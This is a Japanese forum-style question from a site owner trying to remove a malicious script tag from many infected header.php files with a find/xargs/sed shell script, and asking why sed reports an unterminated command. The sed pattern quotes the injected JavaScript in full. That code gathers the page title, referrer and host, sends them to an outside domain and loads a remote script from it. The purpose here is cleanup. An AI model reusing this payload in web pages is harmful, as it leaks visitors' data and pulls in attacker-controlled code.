sedを使用してテキストファイルからスクリプトタグを削除する方法

悪意のあるスクリプトタグを含むheader.phpファイルがたくさんあります（尋ねないでください）。空白に置き換えるために、あまりエレガントなシェルスクリプトを作成しました。最初はheader.phpでペイロードを取り除こうとしましたが、ファイルがソートされたリストではないため、不可能に見えました。以下は私のコードです。

echo 'Find all header.php files'
find -name header.php -print0 > tempheader
echo 'Remove malware script from headers'
cat tempheader | xargs -0 sed -i 's/\<script\>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http:\/\/someplacedodgy.kr\/js\/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "\&se_referrer=" + se_referrer + "\&source=" + host; var f_url = base + "?c_utt=snt2014\&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null \&\& default_keyword !== '' \&\& se_referrer !== null \&\& se_referrer !== ''){document.write('\<script type="text\/javascript" src="' + f_url + '"\>' + '\<' + '\/script\>');}\<\/script\>/ /g'

問題は、このコードがエラー：sed: -e expression #1, char 578: unterminateds'command`のために実行されないことです。私の仮説は、この問題を引き起こすエスケープされていない文字があるということです。 <>と{}の両方をエスケープしてみましたが、役に立たないようです（上記の<>はまだエスケープされています）。

文字列を含むファイルをsedに入力する方法がある場合は、sed -i 's/$payload/ /g'まだ把握していないようです。